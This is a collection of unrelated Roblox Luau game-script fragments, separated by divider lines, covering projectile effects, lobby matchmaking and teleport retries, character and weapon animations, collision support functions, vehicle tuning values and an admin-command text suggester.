local u2 = p9 + Vector3.new(0, math.random(0, 25), 0) + (p9 - p10).Unit:Cross(Vector3.yAxis) * math.random(-40, 40);
v1.Functions.Util.RenderLoop(p8 - u1, function(p11, p12, p13)
if v2 then
v2.CFrame = CFrame.new(v1.Functions.Util.QuadBezier(p13, p9, u2, p10), v1.Functions.Util.QuadBezier(p13 + 0.01, p9, u2, p10));
end;
end);
local v3 = v1.Assets.Models.HitParticle:Clone();
v3.CFrame = v2.CFrame;
v3.Parent = workspace;
for v7, v8 in pairs(v3.Attachment:GetChildren()) do
if v7 then
else
break;
end;
if v8.ClassName == "ParticleEmitter" then
v8:Emit(tonumber(string.gsub(v8.Name, "%D", "")));
end;
end;
v2:Destroy();
task.delay(1, v3.Destroy, v3);
end)();
end;
function FireAt(...)
ShootFire(...);
v1.Network.Fire("Shoot Fire At", ...);
end;
v1.Signal.Fired("Replicate Shoot Fire", FireAt);
v1.Network.Fired("Replicate Shoot Fire", FireAt);
|
-- Local variables
|
local player = Players.LocalPlayer
local sourceLanguageCode = "en"
|
-- This is so that we don't attempt another spawn right away (or at least until this one is done)
-- .This should be cleared when the server announcement is seen
-- .In the future, matchmaking may cause more than a single server to be spawned per lobby.
|
local _pendingServerCreation = {}
local _joinEvent = nil
local _serverListEvent = nil
local _statusEvent = nil
local _messageHandlers = {}
function Lobby._teleportWithRetry(placeId, token, player, spawnName, teleportData, customLoadingScreen)
local connection
connection = TeleportService.TeleportInitFailed:Connect(function(failedPlayer, status, errorMessage)
if failedPlayer == player then
Log.Error.Lobby("Teleport failed for %s, TeleportResult: %s", player.Name, status.Name)
if status == Enum.TeleportResult.Failure or status == Enum.TeleportResult.Flooded then
connection:Disconnect()
delay(2, function()
Log.Warn.Lobby("Reattempting teleport")
TeleportService:TeleportToPrivateServer(placeId, token, {player}, spawnName, teleportData, customLoadingScreen)
end)
end
end
end)
TeleportService:TeleportToPrivateServer(placeId, token, {player}, spawnName, teleportData, customLoadingScreen)
end
function Lobby._retryJoin(pending)
local player = Players:GetPlayerByUserId(pending.player_id)
if player then
Log.Warn.Lobby("Retrying")
Lobby._teleportPlayer(player, pending.place_id, pending.game_mode)
else
-- This player didn't make it. Long live this player.
_pendingTickets[pending.player_id] = nil
end
end
function Lobby._requestServerList()
Log.Debug.Lobby("requestServerList")
local req = {
type = "ANNOUNCE:REQUEST",
lobby = game.JobId,
}
MessagingService:PublishAsync("SERVER", req)
end
function Lobby._getClientServerData()
local data = {}
for serverId, serverData in pairs(_serverList) do
local entry = {
server = serverId,
slots_available = serverData.slots_available,
nonresponsive = _nonresponsiveServers[serverId],
}
table.insert(data, entry)
end
return data
end
function Lobby._sendServerListToAllClients()
-- Sending everything all at once right now
local data = Lobby._getClientServerData()
_serverListEvent:FireAllClients(data)
end
function Lobby._sendServerListToClient(player)
local data = Lobby._getClientServerData()
_serverListEvent:FireClient(player, data)
end
function Lobby._handleServerAnnounce(pub)
local data = pub.Data
local server = data.server
local creationId = data.creation_id
Log.Debug.Lobby("Heard from server: %s", server)
Log.Debug.LobbyData(Util.tableToString(pub))
_serverList[server] = data
_nonresponsiveServers[server] = nil
if creationId then
_pendingServerCreation[creationId] = nil
end
Lobby._sendServerListToAllClients()
end
function Lobby._handleServerRemoval(pub)
local removedServer = pub.Data.server
Log.Debug.Lobby("Server %s removed", removedServer)
local removals = {}
-- Remove the actual server entry
_serverList[removedServer] = nil
-- Removing any pending joins to the removed server
for playerId, pendingData in pairs(_pendingTickets) do
if pendingData.server == removedServer then
table.insert(removals, pendingData)
end
end
for _, pendingData in ipairs(removals) do
local playerId = pendingData.player_id
_pendingTickets[playerId] = nil
-- This player was attempting to join to the removed server, so send them to another one.
local player = Players:GetPlayerByUserId(playerId)
Lobby._teleportPlayer(player, pendingData.place_id, pendingData.game_mode)
end
Lobby._sendServerListToAllClients()
end
function Lobby._sendJoinRequest(serverData, player, mode, destinationKey)
local server = serverData.server
local req = {
type = "JOIN:REQUEST",
lobby = game.JobId,
player = player.UserId,
count = 1,
}
_statusEvent:FireClient(player, { status = string.format("Connecting to %s", server) })
Log.Debug.Lobby("Join request sent to %s for player %s", server, player.UserId)
MessagingService:PublishAsync(tostring(server), req)
_pendingTickets[player.UserId] = {
player_id = player.UserId,
place_id = serverData.place_id,
server = server,
game_mode = mode,
time = tick(),
match_key = destinationKey,
}
end
function Lobby._handleJoinResponse(pub)
local status = pub.Data.status
local token = pub.Data.token
local userId = pub.Data.player
local player = Players:GetPlayerByUserId(userId)
local pendingData = _pendingTickets[userId]
_pendingTickets[userId] = nil
if status == Util._joinCodes.SUCCESS then
-- TODO: Warn on no pending ticket
if pendingData then
Lobby._teleportWithRetry(pendingData.place_id, token, player)
end
else
Log.Warn.JoinFailure("Player %s failed to join %s (%s)",
userId,
pub.Data.server,
Util.getJoinCodeText(status))
-- Join a different server
-- .If the player was forbidden, may need to store that information somehow so we don't try the same one again
if pendingData then
Lobby._teleportPlayer(player, _pendingTickets.place_id, _pendingTickets.game_mode)
end
end
end
function Lobby._handleJoinExpired(pub)
local playerId = pub.Data.player
Log.Error.LobbyJoin("Expired %s", playerId)
_pendingTickets[playerId] = nil
end
function Lobby._registerHandler(messageType, handler)
_messageHandlers[messageType] = handler
end
function Lobby._dispatchMessage(pub)
local handler = _messageHandlers[pub.Data.type]
if handler then
handler(pub)
else
-- TODO: Error
end
end
function Lobby._generateMatchKey(placeId, mode)
return string.format("%s:%s", placeId, mode)
end
function Lobby._teleportPlayer(player, destinationId, mode)
local destinationKey = Lobby._generateMatchKey(destinationId, mode)
-- If there are pending server creations, we wait until they have completed or timed out
-- .We could continuously iterate through the server list to see if another server comes online during this time, but for this case that complicates things needlessly.
-- TODO: Evaluate whether this needs to be wrapped in a coroutine or similar and whether that should be done implicitly here
-- .Currently _processJoinQueue is wrapped, but honoring the queue is done in a single thread.
-- .Also, in that same high-level loop, _detectDeadServers would inherently pause against the completion of _processJoinQueue, which could account for some old stuff.
_statusEvent:FireClient(player, { status = "Waiting..." })
while true do
local waiting = false
local creationTimeouts = {}
for creationId, pendingCreation in pairs(_pendingServerCreation) do
if pendingCreation.match_key == destinationKey then
if tick() - pendingCreation.time >= _serverCreationTimeout then
table.insert(creationTimeouts, creationId)
Log.Error.Lobby("Server creation '%s' exceeded timeout", creationId)
else
waiting = true
end
end
end
for _, creationId in ipairs(creationTimeouts) do
_pendingServerCreation[creationId] = nil
end
if not waiting then
break
end
wait(1)
end
for _, serverData in pairs(_serverList) do
if serverData.match_key == destinationKey and serverData.slots_available > 0 and not Lobby._isServerBlacklisted(player, serverData.server) then
Lobby._sendJoinRequest(serverData, player, mode, destinationKey)
return
end
end
_statusEvent:FireClient(player, { status = "Creating fresh server" })
-- Create a gameplay server
local token = TeleportService:ReserveServer(destinationId)
Log.Debug.Lobby("Reserved %s for place %s", token, destinationId)
_statusEvent:FireClient(player, { status = "Teleporting" })
-- HACK: The token is sent along with the teleport data because there's no way to get access to it from the server itself
local creationData = {
lobby = game.JobId,
creation_id = HttpService:GenerateGUID(),
token = token,
time = tick(),
match_key = destinationKey,
place_id = destinationId,
game_mode = mode,
}
_pendingServerCreation[creationData.creation_id] = creationData
Lobby._teleportWithRetry(destinationId, token, player, nil, creationData)
end
function Lobby._detectDeadServers()
local expirations = {}
local updateClients = false
for playerId, request in pairs(_pendingTickets) do
if tick() - request.time >= _serverResponseTimeout then
expirations[playerId] = request
end
end
for playerId, request in pairs(expirations) do
_pendingTickets[playerId] = nil
-- Flag this server as non-responsive until it's heard from again
local player = Players:GetPlayerByUserId(playerId)
Lobby._recordServerFailure(player, request.server)
updateClients = true
Log.Warn.Lobby("Dead server detected: %s", request.server)
Lobby._retryJoin(request)
end
if updateClients then
Lobby._sendServerListToAllClients()
end
end
function Lobby._recordServerFailure(player, server)
local userId = player.UserId
local failureList = _playerServerFailures[userId]
if not failureList then
failureList = {}
_playerServerFailures[userId] = failureList
end
failureList[server] = (failureList[server] or 0) + 1
_nonresponsiveServers[server] = (_nonresponsiveServers[server] or 0) + 1
end
function Lobby._isServerBlacklisted(player, server)
local failureList = _playerServerFailures[player.UserId]
return failureList and
((failureList[server] or 0) >= Conf.lobby_teleportation_retries or
_nonresponsiveServers[server])
end
function Lobby._onJoin(player, data)
local pending = _pendingTickets[player.UserId]
if data.type == "JOIN" then
local mode = data.queue_selection or Conf.default_game_mode
local destinationId = Conf.modes[mode].temp_queue_place
if Conf.lobby_use_boring_flow then
-- Alternate queue place
TeleportService:Teleport(destinationId, player)
_statusEvent:FireClient(player, { status = "Queueing..." })
else
if pending then
Log.Warn.Lobby("User %s already has pending join request.", player.Name)
return
end
Log.Debug.Lobby("Player join requested")
_joinQueue[player.UserId] = {
player = player,
place_id = destinationId,
game_mode = mode,
}
TeleportService:Teleport(destinationId, player)
_statusEvent:FireClient(player, { status = "Queueing..." })
end
elseif data.type == "CANCEL" then
_pendingTickets[player.UserId] = nil
_statusEvent:FireClient(player, { canceled = true })
elseif data.type == "FAILURE" then
-- The client failed during teleportation and we need to retry or blacklist the current server
Log.Error.Lobby("Client teleport failed: %s (%s)", player.Name, data.message)
if pending then
Lobby._recordServerFailure(player, pending.server)
Lobby._retryJoin(pending)
end
end
end
function Lobby._onPlayerRemoving(player)
_pendingTickets[player.UserId] = nil
-- TODO: Should this directly tell any server waiting for this player that they won't be making it?
-- .Currently that will be handled by the ticket timeout
end
function Lobby._onPlayerAdded(player)
Lobby._sendServerListToClient(player)
end
function Lobby._onTeleportFailure(player, status, message)
Log.Error.Lobby("Teleport Failed: %s (%s)", player.UserId, message)
end
function Lobby._processJoinQueue()
local queue = _joinQueue
_joinQueue = {}
for _, joinData in pairs(queue) do
Lobby._teleportPlayer(joinData.player, joinData.place_id, joinData.game_mode)
end
end
|
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
|
local anim = animTable[animName][idx].anim
if (toolAnimInstance ~= anim) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
toolAnimInstance = anim
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:Connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:Disconnect()
end
toolAnimName = ""
toolAnimInstance = nil
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
|
--
|
local Supports = {}
function Supports.PointCloud(set, direction)
local max, maxDot = set[1], set[1]:Dot(direction)
for i = 2, #set do
local dot = set[i]:Dot(direction)
if (dot > maxDot) then
max = set[i]
maxDot = dot
end
end
return max
end
function Supports.Cylinder(set, direction)
local cf, size2 = unpack(set)
direction = cf:VectorToObjectSpace(direction)
local radius = math.min(size2.y, size2.z)
local dotT, cPoint = direction:Dot(RIGHT), Vector3.new(size2.x, 0, 0)
local h, t, final
if (dotT == 0) then
final = direction.Unit * radius
else
cPoint = dotT > 0 and cPoint or -cPoint
h, t = rayPlane(ZERO, direction, cPoint, RIGHT)
final = cPoint + (h - cPoint).Unit * radius
end
return cf:PointToWorldSpace(final)
end
function Supports.Ellipsoid(set, direction)
local cf, size2 = unpack(set)
return cf:PointToWorldSpace(size2 * (size2 * cf:VectorToObjectSpace(direction)).Unit)
end
return Supports
|
-- RoundTitle
-- Author(s): Jesse Appleton
-- Date: 08/31/2022
| |
-- GameplayUi
|
local InteractionBillboard = PlayerGui.InteractionBillboard
local GameplayUi = PlayerGui.GameplayUi
local StatsBar = GameplayUi.StatsBar
local Level = StatsBar.Level
local ProgressBar = StatsBar.ProgressBar
local ProgressBarContainer = ProgressBar.Container
local ProgressBarFill = ProgressBarContainer.Fill
local Star1 = StatsBar.Star1
local Star2 = StatsBar.Star2
local Star3 = StatsBar.Star3
local ClickButton = GameplayUi.ClickButton
local showLevelUpBanner = require(GameplayUi.LevelUpBanner.AnimateLevelUpBanner)
|
--------------------[ JUMPING ANIMATION ]---------------------------------------------
|
function onFall(initialVelocity)
spawn(function()
local velocityAlpha = math.max(math.min(initialVelocity / Humanoid.JumpPower, 1), 0)
local startJumpPos = jumpAnim.Pos
local startJumpRot = jumpAnim.Rot
local endJumpPos = 0.04 * S.fallSettings.fallMultiplier * velocityAlpha
local endJumpRot = RAD(4) * S.fallSettings.fallMultiplier * velocityAlpha
local t0 = tick()
while true do
RS.Heartbeat:wait()
local Alpha = math.min((tick() - t0) / 0.15, 1) * 90
if onGround then break end
jumpAnim.Pos = numLerp(startJumpPos, endJumpPos, Sine(Alpha))
jumpAnim.Rot = numLerp(startJumpRot, endJumpRot, Sine(Alpha))
if Alpha == 90 then break end
end
startJumpPos = endJumpPos
startJumpRot = endJumpRot
endJumpPos = -0.08 * S.fallSettings.fallMultiplier
endJumpRot = -RAD(8) * S.fallSettings.fallMultiplier
local X = 1
while true do
local dt = RS.Heartbeat:wait()
X = X + (dt * 60) / X
local Alpha = (X - 1) / 15
if onGround then break end
jumpAnim.Pos = numLerp(startJumpPos, endJumpPos, Alpha)
jumpAnim.Rot = numLerp(startJumpRot, endJumpRot, Alpha)
end
end)
end
function onLand(fallDist)
spawn(function()
local animAlpha = math.min(fallDist, S.fallSettings.maxDist) * (2 / 3)
local startJumpPos = jumpAnim.Pos
local startJumpRot = jumpAnim.Rot
local endJumpPos = animAlpha / 100 * S.fallSettings.landMultiplier * (runReady and 1 or 2)
local endJumpRot = RAD(animAlpha) * S.fallSettings.landMultiplier * (runReady and 1 or 2)
local t0 = tick()
while true do
RS.Heartbeat:wait()
local Alpha = math.min((tick() - t0) / 0.2, 1)
if (not onGround) then break end
jumpAnim.Pos = numLerp(startJumpPos, endJumpPos, Alpha)
jumpAnim.Rot = numLerp(startJumpRot, endJumpRot, Alpha)
if Alpha == 1 then break end
end
t0 = tick()
while true do
RS.Heartbeat:wait()
local Alpha = math.min((tick() - t0) / 0.3, 1) * 90
if (not onGround) then break end
jumpAnim.Pos = numLerp(endJumpPos, 0, Sine(Alpha))
jumpAnim.Rot = numLerp(endJumpRot, 0, Sine(Alpha))
if Alpha == 90 then break end
end
end)
end
function onHumanoidStateChanged(oldState, newState)
if newState == Enum.HumanoidStateType.Freefall then
onGround = false
if S.fallAnimation then
onFall(HRP.Velocity.Y)
while HRP.Velocity.Y > 0 do RS.RenderStepped:wait() end
startFallHeight = HRP.Position.Y
end
elseif oldState == Enum.HumanoidStateType.Freefall then
onGround = true
if S.fallAnimation then
local fallDist = startFallHeight - HRP.Position.Y
onLand(fallDist)
end
end
end
|
--[[Weight and CG]]
|
Tune.Weight = 3321 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensionws in studs ; larger = more stable)
--[[Width]] 6.5 ,
--[[Height]] 4.8 ,
--[[Length]] 17 }
Tune.WeightDist = 51 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .7 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--//Client Animations
|
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.5, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.15,0.1,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
wait(0.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0,-0.25,-1.05) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.5,-1.35,-1) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play()
wait(.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.25,-1.35,-1) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.8, 1, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.8, 1, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
objs[5].Mag.Transparency = 1
objs[5].Handle:WaitForChild("MagOut"):Play()
local MagC = objs[5]:WaitForChild("Mag"):clone()
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -.15, .75) * CFrame.Angles(math.rad(-90), math.rad(90), math.rad(180))}):Play()
wait(1.5)
ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.8, 1, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.8, 1, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end;
|
-- << LOCAL FUNCTION >>
|
local function selectSuggestion(props)
local newInput = ""
local suggestion = props.suggestionLabels["Label"..props.suggestionPos]
if props.specificArg then
newInput = suggestion.Name.." "
--
props.textBox.Text = newInput
coroutine.wrap(function()
for i = 1,10 do
props.textBox:ReleaseFocus()
wait()
end
end)()
wait()
props.textBox.Text = newInput
else
local newInputTable = {}
local argPosCount = -1
local firstChar = string.sub(props.textBox.Text,1,1)
props.textBox.Text:gsub('([^'..main.pdata.SplitKey..']+)',function(c) argPosCount = argPosCount + 1 if argPosCount > suggestion.ArgPos-1 then return end table.insert(newInputTable, c.." ") end);
if argPosCount == 0 and (firstChar == main.settings.UniversalPrefix or firstChar == main.pdata.Prefix) then
newInput = firstChar
end
newInput = newInput..table.concat(newInputTable, "")
newInput = newInput..suggestion.Name
newInput = newInput..main.pdata.SplitKey
--
props.textBox.Text = newInput
wait()
props.textBox.Text = newInput
props.textBox:CaptureFocus()
props.textBox.CursorPosition = #newInput+1
end
end
|
-- Controls the lighting effects depending on the player's setting.
--
-- ForbiddenJ
|
Effect1 = game.Lighting.DefaultBloom
Effect2 = game.Lighting.DefaultColorCorrection
